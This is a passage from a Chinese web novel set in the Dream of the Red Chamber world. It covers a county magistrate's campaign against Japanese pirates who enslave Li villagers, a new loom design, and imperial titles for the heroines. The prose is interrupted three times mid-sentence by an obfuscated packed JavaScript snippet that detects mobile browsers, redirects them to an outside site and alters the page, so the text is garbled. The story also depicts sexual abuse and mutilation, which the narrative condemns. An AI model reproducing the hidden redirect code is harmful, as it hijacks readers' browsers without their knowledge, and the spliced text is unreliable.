近来沉香越来越少,只要采出来,大食商人肯出一两黄金换一两香,如此暴力,马县丞肯定动心。 如今县衙动了马县丞,倭寇那里肯定收到了消息,趁现在时日尚短,可能还没传到生黎部落里,还请大人派兵绞杀贼寇,为生黎部落的兄弟们报仇!” 柳琼刷地站起来,没想到这时候的倭人已经上岸,开始奴役百姓了。他赤红着一张脸,沉声道:“冼大人放心,今日就调齐人马,还请冼太太能举荐一二向导,明日即刻出发。” 冼太太也不多言,点头后就退出去找人了。韦家能和生黎做生意,自然有能出入密林的人。 冼主簿留下来,和柳琼商议如何用兵。邬桐默默退出去,无论如何出兵,她总会跟着的。这场仗,只许胜不许败。 县衙有林如海和甄士隐坐镇,林如海做过一品大员,小小的县衙还是玩得转的。 柳琼第二日就带着邬桐、冼主簿、冼太太出发了。冼主簿和冼太太、还有两位向导都是黎族人,很多生黎部落汉人是不能进的,只能黎人带着才行。 琼州马匹稀少,都是从内陆运过来的,整个衙门也才不足二十匹马。因是去深山老林,蛇虫鼠蚁肯定不少,到时候马惊着就不好了,是以一行人全部步行前进。 天热,行军速度快不了,得避开中午最热的那段时间,凌晨和傍晚时出发。昼伏夜出,走了有五日路程,这才到了目的地。 真是深山老林都不足以形容这里的原始,没一丝人类生活的痕迹。那树和藤蔓密的,阳光都很难渗透进来。白日里就黑黢黢的,看得人心慌。 那藤蔓的叶子上,时不时冒出一两个鲜红的信子,原来是蛇在其中歇息。冼太太给每人发了一包药粉,让大家涂在身上:“涂满全身,这样蛇虫才不近身。” 近五百兵士抖着身子,将全身抹了个遍,看着不远处吐芯子的毒蛇还是忍不住发抖。 “别怕,只要不攻击它们,蛇是不会主动攻击人的。”冼太太开口道。 见大家抹好了药,柳琼这才率先进入了密林。他腿肚子也抖啊,可谁让他是县令呢,谁都能怕,就他不能。好在邬桐是个靠谱的,虽内里吐槽胆小鬼,还是发动异能,让冒头的几条毒蛇都先睡觉去吧。 我家相公要装勇士,你们不配合怎么行呢,是吧。没看连我都得配合呢嘛。 冼太太和两位向导紧随其后。向导不时为大家指路,心里还纳闷儿呢,今日这蛇好像格外听话,怎么连窸窸窣窣爬动的声响都没有,难道主家的药又精进了?那可得多求几包,以后跟生黎做生意也是个饶头呢。价钱不满意?兄弟,我们这里有防蛇虫的药,灵的了不得,蛇闻了动都不敢动,就问你们想不想要吧。 生黎那可是在密林子里采香和砍树的,最怕的就是被蛇冷不丁地咬一口,基本没什么人能拒绝这个诱惑。说不得还能压压价,做些私底下的小买卖。 两位向导心里乐了半天,带路愈发恭敬。在密林中饶了一日,隐约看见了砍木的人影。众人隐身在巨木后,待看清了前面的情形后,不等柳琼吩咐,一个个愤怒地冲出去拼杀。 原来倭寇将部落里的女人们集中在一起,成年的有,那七八岁的小娃娃也不放过,就不是人能干出来的事,畜生不如。族里的男人们脸上被刺了字,一个个遍体鳞伤,被驱赶着在周围伐木。有不忿反抗的,举着武士刀溜达的倭寇上去就是断手断脚。 一边是倭寇玩乐的□□声,一边是生黎被痛打的痛嚎,是个汉子都受不了。倭寇看样子不足百人,腰上都有刀,一副武士的打扮,邬桐看着恶心,第一次用了杀招。 在兵士和倭寇缠斗时,琼州兵士惊讶地发现,这些倭寇身手奇差!他们还没怎么出手,这些人就倒地不起,口吐白沫,七窍流血而亡。 “天谴!这是天谴!”生黎里有人高喊,冼太太为邬桐翻译,邬桐微微一笑。天谴就天谴吧,如果真有老天,就让这些恶人都有恶报,才是天道。 被凌虐的妇人女子听到贼寇的哀嚎,像被唤醒了神志,恶狼一般,冲上去撕咬踢打贼人,眼神凶狠,比饿了一冬的野兽都骇人,莫名让一干兵士胆寒。哀嚎遍野,林中的鸟儿被吓得,扑簌簌飞远了。 邬桐眼眶有些红,不知道报仇之后,这些人会有什么遭遇。等战斗结束,邬桐抹了把脸,悄悄将冼太太叫到一旁:“这些女子无辜受辱,不知部落里会如何安置她们?如果......不妨让她们跟我回县衙,县衙正在准备办纺织厂,去厂里做工,总有她们一口饭吃。” 冼太太在县城多年,知道汉人对女子的诸多教条,不屑道:“部落里,女人也是财富,才不会有什么三从四德,贞洁之类的鬼话,县尊太太请放心,这些女人养好伤,在部落里想干什么都行。” 听见如此说,邬桐才算放下心来。在战士们打扫战场时,邬桐和柳琼在原始森林里转了一圈,试图找到像是橡胶、白药或者三七之类的名贵物种,可惜两人能力有限,并没有发现。 几日来,如此场景在另四个被劫持的生黎部落里轮番上演。等将所有倭寇都处死后,邬桐惊讶地发现,她的异能反而升级了。 来不及喜悦,打扫战场,处理尸首,又忙了两日才闲下来。这些倭寇都不是穷的,搜出来的财宝给兵士和生黎兄弟们一分,皆大欢喜。 等一切平定,召集各位生黎部落首领开会时,各族长都带了礼,沉香,黄花梨,不收都不行,不收就是看不起生黎。柳琼无奈收了,也听了众族长的一番感激,临走时忍不住开口:“黄花梨不可只砍伐不种植啊。我知道黄花梨成材慢,可能需要成百上千年。但要是不种,后世就再也没有黄花梨用了。各位的孙子用不上,但各位孙子的孙子的孙子,说不得就用上了呢。 这黄花梨自宋朝就成名,要是那时候有人种,是不是现在也成材了? 以此类推,我们现在种,是不是我们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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第四就是这次的主要差事造船了,工部的匠人过几日应该就到了,我们得选个地方秘密造船实验,得离这里不远又不易察觉,最好是一处小岛。 第五就是琼州的经济,之前我听过琼州盛产黎锦,是本地黎人利用琼州岛的木棉编织的布帛,汉朝时曾经一度作为贡品进献朝廷的。 现如今织布机有了进展,正好看下是否可以改进下织布技术,让本地黎人多制黎锦,卖到广西福建一带,或者通过海商卖到国外去,都不成问题,也算是给本地黎人增加收入了。 另外得看看岛上是否可以晒海盐,也是一项增加县衙收入的举措。 最后就是教育了,虽然不是目前最紧要的,但是须得麻烦岳父和甄世伯,看看是否有至交好友愿意来琼州岛教书。银钱不是问题,只要肯来,我们就给分房子。” 话音刚落,甄士隐哈哈笑着抱拳:“恭喜林大人,喜得贵婿啊。” 林如海摸摸胡须,也随着大笑起来。柳琼心内松一口气,关于种植那里,他隐去了一点没说。按照《红楼梦》的书写时间,红薯应该是已经出现了的,但他看海南这里并没有人种植,也不知是怎么回事。 时间不等人,已经快入六月了,过了这个时间点,再种红薯可就来不及了。 邬桐虽不懂农事,但晚上要睡时听了柳琼的担忧,什么冒然拿出来怕惹人怀疑,她就不懂了:“咱们刚平定了生黎和倭寇的冲突,就说是在深山老林里发现的,一大片,肯定高产之类的。反正黎人族长给你送了很多礼嘛,都装车了,谁也不知道里面是什么。而且那几日咱们在老林子里转悠,就算发现什么也不奇怪,是不是?” 柳琼拍拍脑袋,感慨,有时候大脑简单的人反而能直击要害。他这种想的多的,反倒束手束脚了。 31.乡主 当然,邬桐不知道柳琼背地里在嘀咕她,要是知道早一拳上去了。 第二日吃过早食,邬桐和林黛玉一起去后院书房,看黛玉找到的纺织机图纸,共同商讨黛玉的一些改进建议。 为了改进织布机,柳琼特意给邬桐讲了现代纺织机的原理,以及从黄道婆纺织机到国外的珍妮纺纱机,一代代是如何改进的,讲得邬桐脑袋大。不过有一点她是明白了的,那就是黛玉的这几个改进意见,还真是切中命脉。 不愧是书中女主,有几处不恰当的地方,邬桐装着不懂,请教了几句,林黛玉讲着讲着就陷入沉思,竟是谁也不再理,埋头又钻研起来。 柳琼这边,说要安抚当地百姓,第二日干脆去祭拜了冼夫人,穿着黑色笔挺的官服,带着四个文书和差役,去县衙不远处的冼夫人庙祭拜。 冼夫人被岭南各族和琼州黎人尊称为岭南圣母,功绩之一就是上书梁朝,在琼州设置衙门,结束了琼州岛五百多年无政府的乱象,再次将琼州纳入了中原朝廷的版图。 当真是三拜九叩,当做正经的差事在做。这是实实在在的英雄人物,不论男女,当得后人膜拜的。 冼夫人庙外,里三层外三层的人在看热闹。琼州县令祭拜冼夫人,不是没有先例,只是近二十年还是第一例,大家都好奇啊。中原来的那些人不都说什么牝鸡司晨,什么女人不能当家嘛,这怎么好端端的,县令来拜冼夫人了呢。 柳琼恭敬地祭拜过后,也没发表什么激动人心的演说,太刻意了,咱从实际入手,是吧?回去就在城外和码头之间的一片荒地上,划拉了一块地方,干嘛呢?盖纺织作坊。 工部的工匠坐船来了,暗卫一直在南海都有基地的,在哪里柳琼自然不知道,工匠一来这不暗卫就现身了嘛,领头的是个叫郑甲的人。中等身材,大众脸,扔到人堆里找不着的那种长相,天生的暗卫料子。 暗卫命名十分简单,姓氏按照百家姓,加上甲乙丙丁依次排下来的十二个字拼接而成,一共二十四组,每组十二人,简单粗暴。人死了替补补上,名字不变。这个郑甲,已经是本朝暗卫的第十个郑甲了。 “既然海岛找到了,那让朝廷派来的工匠直接去岛上吧,就不要来琼州岛了。我这里有良种,是在深山密林里剿灭倭寇时无意中发现的。有一大片,应该是很高产的粮食。拙襟略通医书,验证过,无毒,可入口,味道还不错,劳烦你安排下去,看看是否可以在岛上种植,免得总是需要押运粮食过去,引人怀疑。”柳琼指着一旁装车的红薯,又从怀里拿出纺织机的改进图纸,“这是夫人和林家嫡小姐商议改进的纺织机图纸,还请给到工部的大匠,看看能否尽快造出来实验实验。治理琼州,最重要的就是让黎人能够有其他赚钱的营生,这个纺织机就十分要紧,还请郑大人千万保密,不要让图纸外泄。” 郑甲面色严肃,京里的消息是极力配合柳琼,可见忠顺王十分看重此人,他郑重地接过,只说了一句“放心”,便再没说话。 做暗卫的,习惯了隐在暗处,就算是一队首领,也不善言辞的。柳琼没在意,就要出城看纺织厂的建设情况。不是他不关心造船,图纸已经给出去了,南海这边肯定将海岛上的房子什么的都造好了,只等着工匠过去就可以动工了。 至于第二代第三代,第一代还没造出来呢,优缺点都不知道,说这些还太早。趁着现在,稳定琼州局势才是最紧要的。 郑甲是大早上偷偷来的,此时也才鸡鸣时分,郑甲悄无声息地退下,柳琼不欲让更多人跟着,想独自一人偷偷看看厂子。每次出去一群人跟着,想跟人说话都难,看完纺织厂更多的是去黎人家里瞧瞧,现在的百姓家里织造的黎锦是什么水平,织布机织出来的是不是符合这个时代的要求,都得再看看再说。 刚到后门,已经有收夜香的上门了,不像是黎人,低着个头,跟在县衙原有的两个婆子身后。柳琼没多在意,从角门匆匆离开,却不知道,蕙香正跟邬桐汇报这个收夜香的人呢。 为什么邬桐会注意这个人呢?因为她无意中发现,这个人能够每次都很准时的出现,前后误差绝不超过一盏茶功夫。 第一次留意,是去惜春那里探亲那次,她想安慰黛玉来着,正好碰上这人上门,话就没出口。第二次,天降大雨,这人还准时来了,那两个老婆子就抱怨他妨碍两人休息,和这人吵吵起来。还是蕙香手下的小丫头外出买糕点给断的官司,蕙香当笑话一样的讲给邬桐听,邬桐才留了心,让蕙香暗中注意这个人,这才发现的问题。 要知道古人是以日晷计时的,以影子的长短变换估摸时辰,这个误差有多大呢?一个时辰是两个小时,也就是说,误差是两个小时。而此人却能保证误差不超过一盏茶,为什么的?怎么做到的? 此人身上一定是有计时工具的。要知道《红楼梦》里是有座钟,也是有怀表的,像是平儿这种大丫鬟,身边专门有小丫鬟帮忙拿怀表看时间的,也就是说,这个收夜香的,是有表的。 神奇不神奇?这不擎等着惹人怀疑吗?邬桐还暗自嘀咕,说这奸细不会这么没脑子吧?晚上临睡前,就跟柳琼嘀咕这个事儿,柳琼敲敲邬桐的脑袋:“想当然了吧,你知道他露马脚了,那是因为你有表,你知道时间。可家里下人有表吗?他们知道时间吗?此人就是每次都准点儿过来,下人也只以为他勤快,可不会想到准时上。” 嘴上这么说,柳琼却暗自警醒,只怕这钉子,在京城就埋下了,不然不会一到琼州就有人过来接头。身边的人得叫暗卫再筛一遍,这个收夜香的他也得去瞧瞧,想到这里就起身,换上夜行衣,嘱咐邬桐:“你先睡,我去会会这个人。是骡子是马,看看再说。纺织机快做好送回来了,不能在这个节骨眼儿出问题。” 邬桐点点头,黛玉熬了十几个晚上才改进的纺织机,不能还没投入生产呢,图纸就泄露了。 柳琼急匆匆出去,在和郑甲商量好的地界留下信号,约第二日见面的事,郑甲这家伙肯定在琼州呆着,至于老窝在哪儿他就不知道了,反正每次留下信号,第二日必是能见到人的。暗卫嘛,他也不敢探究,留好信号就出去了。 去哪儿呢?夜香街!对的,夜香街。倒夜香腌臜,但是城里缺不了这个,缺了不就乱套了嘛。但大家又都不想跟收夜香的做邻居,怎么办呢?就专门划拉了一片巷子,专让这些收夜香的一起居住,大家都是做这个行当的,谁也别嫌弃谁。 柳琼对那个收夜香的匆匆撇过一眼,有过印象,此次去也没想着见到人,就是惊觉这个职位,可是最容易忽略,却也是最容易安插奸细的地方。他得去瞧瞧,琼州这些收夜香的,都是哪里来的。有没有本地的黎人,有多少汉人,又有多少,是其他地方过来的。 真正查奸细还得暗卫去做,术业有专攻,他只要做到心中有数就行了。 等在夜香街摸排了一夜,第二日一大早又补眠了一顿之后,下午才去见了郑甲。郑甲还是一脸严肃,如此这般听柳琼说了,也意识到事情的严重性,就多说了两句:“我会禀告王爷的。” 好吧,这种的就不是他柳琼能插手的了,但是利益还是要争取的,织布机过了郑甲的手,忠顺王和永兴帝肯定知道了,他得再强调一遍:“织布机的图纸不能外泄,至少得等赚过一轮钱,第二代织布机改进之后,才能看看是不是可以卖出图纸。毕竟经过人手的事情,就有可能出纰漏,对吧?为了不出纰漏,最好的办法就是不断的改进图纸,让朝廷的织布机永远先进于市场上的。” 郑甲瞥了柳琼一眼,他不傻,这是让他递话给忠顺王,不要忘了县令夫人和林家小姐的功劳吧?有第一代就有第二代第三代,源源不断的改进,就是源源 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307794|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不断的银子。 是啊,银子,忠顺王看到织布机图纸的第一个想法就是,国库要有钱了。布匹一直是海贸的大头,这个织布机据大匠的说法,织布速度提高了两倍!就说心动不心动。 而柳琼的说法,是说还能有第二代第三代。不要忘了贾夫人和林家小姐的功劳,只是柳琼的第一层意思。第二层,则是柳琼在向忠顺王爷进言,不可敝帚自珍,任何事物都要革新,都要变,才能换发生机。否则一味的固收陈规,对朝廷对皇家能有什么益处呢? 为邬桐和林黛玉请功的折子,柳琼早就递上去了,永兴帝没批,却也划拉了地方,仿照琼州建纺织厂。琼州那里出了奸细,京城这里有没有呢? 答案不言自明,既然阻止不了窥探的视线,那就革新,永远走在他们的前面,才是最好的保密的法子。 忠顺王起身,准备进宫将暗卫的奏报告知皇上。皇上会不会因为柳琼的建议,就重用工部,不是他忠顺王能够置喙的。 也就是琼州纺织厂的厂房建好的时候,南海的一处海岛上,连窝端了前朝余孽的老巢。前朝都亡国近百年了,这伙子人还以皇室贵族自居,吃饭必得山珍海味,二十道菜起步,盛菜的碟子碗必得是钧窑,银筷子试毒是必须的,试菜太监不能少,一套套规矩下来,没银子成吗? 怎么办呢?跟倭寇勾结,跟盗匪勾结,甚至于纵容部下去抢掠沿海百姓!可笑不可笑,永兴帝拿到暗折的时候都气笑了:“就没见过蝇营狗苟的人,能做皇帝的!” 是啊,做皇帝不管心里多么龌龊,那表现出来的都得是好的吧?能让部下劫掠平民的,就是复国了,不需要他们这些新皇室的人动手,底下的人就能造反。 不管怎么说,剿灭了前朝余孽的老巢,都是一件令人愉快的事。虽然之后的事柳琼没参与,但事情是他挑破的,有功就得赏。不是给老婆和小姨子请功嘛,那就批,不过县主可不行,林家一下子出两个县主,太扎眼了。乡主吧,称号而已,反正本朝的勋贵都是没有食邑的。乡主,朝廷每月给五十两银子的俸禄,养着又不废什么事。 “九弟最近身子如何?”将朱笔御批的奏折递还给忠顺王,永兴帝顺口问道。永兴帝口中的九弟,名保丰,今年只十二岁年纪,被封为安郡王,生母只是一个小答应,不幸的是,小答应曾经住在甄太妃的永寿宫。 皇宫里,只有妃位及以上,才有资格住一宫主殿,其他后宫之人,都得借助在宫殿的厢房。因此小答应虽住永寿宫,其实跟甄太妃并没什么关系。但世人不知道啊,只知道她们住一个宫殿里,都当这小答应跟甄太妃关系如何亲近呢。 这小答应是个有心眼儿的,自生下孩子后就拘着,不到必要的宫宴,绝不放出来瞎跑。理由都是一套套的,不是今日咳嗽,就是明儿头疼的,反正就是无一日是康健的,总是这病那灾的,就连甄太妃寻常想见都见不到。 如今甄太妃早倒了,九弟保丰病弱的身子也在慢慢好转,如今一个月里,有半月是能出来走走的。如此这般,肯定是窝不住,想出来做事了嘛。永兴帝活下来的兄弟不多,既然保丰有这个心,永兴帝就接着,正愁为他办事的兄弟少呢。 如果保丰身子好了,这个旨意他是可以去宣的。喜事嘛,又不是什么复杂的差事。小事办好了,以后才有可能办大事嘛。 却不想忠顺王拦了:“现在就让九弟去太早了,以后船厂那里做出成绩了让谁去?陛下要是觉得只让内监去太草率,不防多派些人去就是了。” 永兴帝一想也是,九弟再没办过差,也是皇室中人,非得是大事才能露面的。 于是,跟着第一台织布机一起到琼州的,还有任命邬桐和黛玉为乡主的圣旨,和乌泱泱一群前去贺喜的人。 除此之外,一条来自雷州半岛的宝船,缓缓向琼州岛靠近。 32.各家反应 圣旨还没到琼州,贾家和薛家就收到了消息。永兴帝也没想瞒着,想知道的都能知道,为的什么呢?为了让大家看看,真正为国为民做事的,他不吝惜爵位,女子都能赏,更何况男人乎? 京里林家的宅子再次人山人海,贺喜的、攀交情的、混个脸熟的,什么人都有。邬杨的妻子云氏现在掌管着林家后宅,每日光见人都见不及,打发了四五个得脸的丫鬟婆子,单开了四个会客的小间,这才应付得过来。 邬杨呢,科举后因林如海还在职,就送到翰林院熬资历。自林如海致仕,永兴帝就将人提溜到身边,做了御前行走,官职不高,但每日都能见到皇上,不可谓不风光。现在更是有了两个乡主妹妹,顿时成了香饽饽。 男人成了香饽饽的第一个好处或者害处,就是有人给他送美人了。今日这个同年,过来攀交情说“家里有一妹妹,貌美,不求名分”,那个翰林院曾经的同僚,四十多岁的人了,见面就说“小女年方二八,才貌俱佳”,你说这怎么整? 邬杨干脆尿遁,尿遁不成就装傻充楞,或者干脆装病,不然怎么办?明里暗里都说了,他有妻有子,无意纳妾,可人家愣是听不懂,你能奈何? 有些人能躲,有些人躲都躲不了。就像贾家,贾母亲自派人来请,说是想外孙女了,请外孙子到家里坐坐,讲讲外孙女的事,你说作为人家礼法上的外孙子,长辈都派贴身大丫鬟请了,大大方方从前门进的,这么多双眼睛盯着,能不去吗? 推辞不得,也不能推辞,邬杨只得收拾收拾,带着云氏,想了想,又让奶嬷嬷抱着孩子跟上。不是他心大,对贾府放心,是有孩子在,还有个理由,有个转圜的余地。妻子不是个善言辞的人,要是贾母直接给他塞人,你说让妻子如何拒绝呢?这时候孩子哭一哭,也就躲过去了。不行拖着,等回家后,他再找时间去跟贾政说。 心里这么想着,倒没发现宁荣街萧条了许多。 自从宁国府的牌子摘了之后,在街上溜达的贾家族人越来越少。有些胆小的,看势头不对,干脆一家老小回了金陵老家。天高皇帝远的,到金陵说不得还能打着娘娘的名头做些事儿,是吧?树挪死人挪活的,说不定就时来运转了呢。死守着京城能怎么地? 如此这般,宁荣街的宅子空了许多,柳琼的表哥刘衡倒是趁机买了几套宅子,还撺掇姑姑将老宅左右的两套院子都买了下来,以后就算分家,兄弟俩都有宅子不是,四姐儿出嫁也能有体面的宅院做陪嫁,婚事会更从容。 说远了,说回去贾家赴约的邬杨,作为成年男人,他不能随意去后宅,是妻子云氏抱着儿子见的贾母,邬杨只在前院见了贾家的爷们儿。 贾母明显老了许多,原本锃亮的银发成了枯白,没了最开始的养尊处优,见了云氏这个后辈儿,难得的由丫鬟们扶着,站着等人进来,客气一番才彼此落座。 “不中用了,站不了多久就得丫头们扶着。”贾母靠在软枕上,谦虚道,“这是明哥儿吧?当真是好样貌。来人,我记得当年宝玉周岁,北静王送了一个赤金五彩璎珞,现在也用不着了,拿出来给这小子带着,沾沾宝玉的福气,平平安安长到十几岁才好。” 云氏心里生气,自小养气的功夫让她半丝不露,只是心里纳闷儿,先时老太太站着迎她,她还以为老太太是放低姿态了呢,这怎么听着更桀骜了?她家明哥儿怎么就非得沾着宝玉的福气,才能长到十几岁?这是咒她儿子呢吧? “这太贵重了,不敢当......” “莫说这话,不值什么。”贾母不等人说完,摆摆手,随后指指身边的王熙凤,道,“知道你们忙,这两日必是待客呢。今日请你们来,一是问问有没有桐姐儿和黛玉那俩丫头的信儿,二呢,就是为了去琼州贺喜的事儿。这是凤丫头,在府里的时候,就跟桐丫头和黛玉要好。 我知道你们必是要差人去岛上送信儿的。正好,让凤丫头和琏小子一同去,就当是代我这老婆子过去看看,两个外孙女在外面过得好不好,也得看了才知道不是。凤丫头历来心细,必能办得妥当。” 原来是这个事儿,只要不是给相公塞女人,这有什么不应的。云氏笑着说:“早就听黛玉和桐姐儿说过琏二嫂子,说是极有能为的,今日一见,果然非同凡响。外祖母放心,林家贺喜的人三日后才出发,到时候我亲自来接琏二嫂子,如何?” “哎呦,那感情好。”王熙凤抚掌,起身坐到云氏身边,拉了云氏的手道,“这半年多没见桐姐儿和黛玉了,还真是怪想的。只不知姐姐带些什么过去?咱们通个气,也好错开些,别一样的首饰带两套,这不是让人看笑话吗?还有薛家那边,这次也要派人去呢,咱们三家都是血亲,同气连枝的,自是得好好合计合计。” “这话很是。”贾母深以为然地点头,说着又点王熙凤,“别小气巴拉的,就是送了一样的首饰又如何。都是一家子骨肉,你黛玉妹妹还能怨你不成? 要是怕送一样的,那就多送几样,总有不一样的。好了,我也懒得听你们讲那些礼啊物啊的,我也乏了,你们只管找个屋子谈你们的,到时候礼单给我瞧瞧就行。” 前院儿,难得的是,贾宝玉这次倒是没在后宅,而是缩着肩膀,站在贾政身后装鹌鹑。贾珍、贾赦、贾琏、贾蓉,甚至于庶出的贾环,都在正堂。令人意外的是,薛蟠和薛蝌也赫然在列,倒是让邬杨没想到,又有些后悔没带着弟弟邬柏,以及内弟贾瑾一起来。 “杨哥儿,这次请你来,主要是为了商议去琼州道贺的事。”作为娘娘的父亲,贾政率先开口,“家里想派琏儿与林家的船一同去,薛家是薛蝌同去,不知是否方便?” 贾宝玉在后面急得冒汗,想开口又不敢。看样子就知道他想去,闹过了,但被家里否了。也是,作为家里的凤凰蛋,贾母怎么舍得宝玉去那么远的地方?虽说宝船上有官兵护送,但海上的事谁说得准? 邬杨假装没看到,闻言笑着说:“这有什么不方便的。不瞒舅舅,去琼州的船是官船,也不是林家的,是朝廷水师衙门的,上面有官兵护送,再安全不过的。林家有弟弟去,他年纪小,有什么不周到的还请琏二哥哥和薛家兄弟包涵。” “官船多久能到?我......” “宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307795|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉!”贾政沉声道,“没规矩,岂能胡乱插话。出去,今日的书还没读,不用在这里呆着。” 贾琏眼神闪了闪,虽说去琼州是他和王熙凤争取来的,但是老爷和爹却从没嘱咐过安全问题,他低下头,心里苦笑。 贾珍倒一直跟个菩萨似的坐着,自秦可卿死后,他愈发无欲无求,竟似要追求亲爹的脚步,去道观修行一般。贾蓉见他爹不动,急得开口:“杨姑父,侄儿最近无事,也想着坐船去琼州看看,不知可行?” 宁国府牌子都没了,能抓住的姻亲都得抓住才行。薛家和西府都派人去,他们东府怎么也得有人去才行,爹也不知怎么了,竟然不知道开口。再说,粤海还有小姑姑呢,就算是贾琼那边分宗了,小姑姑总是亲的。 邬杨左右看看,见贾赦和贾政都端起茶杯喝茶,一副不掺和的神情,贾珍眼神倒是闪了闪,半晌只说了句:“杨哥儿要是方便,就带了这虐畜去吧,也算是长长世面。” 薛蝌见贾家人都说完了,轻咳一声,示意薛蟠开口。薛蟠现在正春风得意呢,昨晚又是宿醉,要不是一大早家里得了妹妹的信儿,说是圣人看重贾琼,他才不来呢。一个七品县令,还不够格跟他喝酒。他现在一块儿喝酒玩乐的,至少也是三品大员的子孙。 “杨哥儿,琼哥儿跟我关系自来不错,这次这么大的事,薛家自是得去一趟的。我这堂弟是个得用的,路上你只管吩咐,不用客气。”薛蟠瘫坐在太师椅上,打个呵欠,脸色不是很好。 薛蝌起身拱手,形态礼仪半丝不错,关键是俊朗非常,不似薛宝钗的堂兄,倒是亲哥哥一般:“林大哥,小弟薛蝌,以后有事尽管吩咐便是。” 刚应付完贾家两府,到家没多久,刘氏带着两个孩子,和母亲孙氏以及刘衡亲自登了林家门。刘氏一个妇道人家,儿子贾瑾又还小,能商量的只有亲家和娘家了。刘衡机灵,知道林家这次必是要去人的,两家同去肯定便利,这才撺掇着来了。 “我去。”落座后,刘衡当仁不让,“表弟要考科举,长时间出去不像话。我这里没什么要紧的,铺子那里有掌柜照管,不用我操心。明日我就请假,离开个三五月都成。” 外祖母孙氏自然点头,刘衡和琼哥儿关系好,一块儿做着生意呢,且她的孙子她了解,外表大大咧咧,内里细致着呢,比小外孙贾瑾去要妥当。贾瑾读书好,却不是个通庶务的,人情往来且得学呢。说不得以后,还须让衡哥儿多带带。 孙氏脑子发散到小外孙的教养上,对面刘氏是个没主意的,见母亲点头,小儿子又确实在准备秋闱,无奈同意,只是到底觉得家里没去人,怕琼哥儿多想,熬夜亲手给每人做了一双鞋,又给儿媳妇买了些布料首饰的,礼上倒是比娘家多送了些。 当然这是后话,且说这日晚上,贾政到赵姨娘院中休息,赵姨娘百般殷勤。这女人在西府里那是人嫌狗憎,但贾政偏还爱去她的院子,为的什么呢?一当然是色,赵姨娘长得,比之黛玉都不差,且是泼辣粗俗那一版的。二就是这人颇能放得下脸皮,床上床下皆是如此。仅这两点,对假正经的贾政,有着致命的吸引力。 33.圣旨 没瞧见嘛,贾政刚进来脸色还有些僵,如今已经和缓许多了。赵姨娘觑着贾政的脸色,知道儿子贾环今日表现还算乖巧,不枉她这几日做低伏小地在老爷这里奉承。殷勤地伺候着吃了饭用了点心,又亲自给洗了脚,这才虚坐在炕沿上,小声说道:“探春嫁去粤海也快一年了,这么长时间也没个信儿,真是怪想的。探春闺中的时候,就跟桐姐儿和黛玉关系亲近,如今嫁去粤海,关系只怕更好呢。凤丫头......” 说道这里,见贾政没什么情绪的眼神扫过来,赵姨娘忙装作惊吓的样子,结结巴巴道:“凤丫头到底......到底是大房的,探春那边是不是去个信儿,让她代表咱们二房,去琼州岛贺贺?” 这女人近几日蹦跶地厉害,贾政知道为的什么。如今娘娘在宫里前途未卜,大哥一家早就有意见了。且大哥是正经的郡王岳家,这两年花销也不小,家里的银子竟是不能全力支援娘娘了。凤丫头虽是太太的娘家侄女,到底是大哥家的儿媳妇,到时候偏着谁说话真不好说。他沉吟片刻,开口道:“我那边有个姓柳的清客,和杨哥儿自来关系好,不若派他过去。” 赵姨娘顿了下,笑着点头:“很是,老爷的清客,自是比家里的爷们儿还周全的。” 贾政倒是愣了一下,是啊,其他家都是派的主子,他派个清客是怎么回事。抬起眼皮儿扫了下赵姨娘,明白她今晚这一出是为了什么了,冷哼一声:“何必吞吞吐吐的?环儿年纪还小,宝玉我都舍不得让他走那么远,何况是他?” 赵姨娘被老爷看穿了,也不恼,干脆直言道:“环儿小,那我陪着去如何?不管怎么说,我也是探春的姨娘。到时候见了探春,一道儿去琼州贺喜,岂不是更郑重些?我可听说,宫里给薛家递信儿了,说是圣人很看重琼哥儿这个县令呢。咱们家怎么也得派人的,家里离不得老爷和太太,我就是再上不得台面,专门去看个小辈,面子还是有的。” “当真?宫里来信儿了,太太可知道?”贾政脸色郑重,厉声问道。 “当真,我亲眼看见薛家的大管家,陪着宫里的小太监过来的。” 贾政心里气急,知道夫人是怕自己知道了让宝玉去,对王夫人的不满又添了两分,倒是不再计较今日赵姨娘算计的事了。 府里的事怎么瞒得了王夫人,赵姨娘身边的丫鬟都是她安排的,听说后自是气得牙根痒痒,但也晚了。宝钗是个周到的,给家里来了信儿,可王夫人怕老爷狠心让宝玉去,就没声张,此时老爷知道了,她也心虚呢。 有人心虚,自是有人欣喜。荣国公府后廊下,五婶子盘腿坐在炕上,对儿子贾芸细细掰扯其中的道理:“你琼叔在琼州,这县令十成十是坐稳了的。先时不让你跟着,是娘怕那地方不安稳,如今好了,你就是不想去娘也得赶你去。 为啥呢,县令坐稳了肯定缺人手啊,你过去,就算帮着打理庄子,也是不错的差事。家里你别惦记,娘就是再无能,吃饱饭还是成的。你只管在琼州安心呆几年,亏不了你。就算是你琼叔要给你做婚事,你也只管应承,就说娘是同意的,可清楚?” 贾芸自小就机敏,如何不知母亲的安排是稳妥的,只是到底有些遗憾:“锦上添花,终归不如当初一道儿去,雪中送炭的好。” 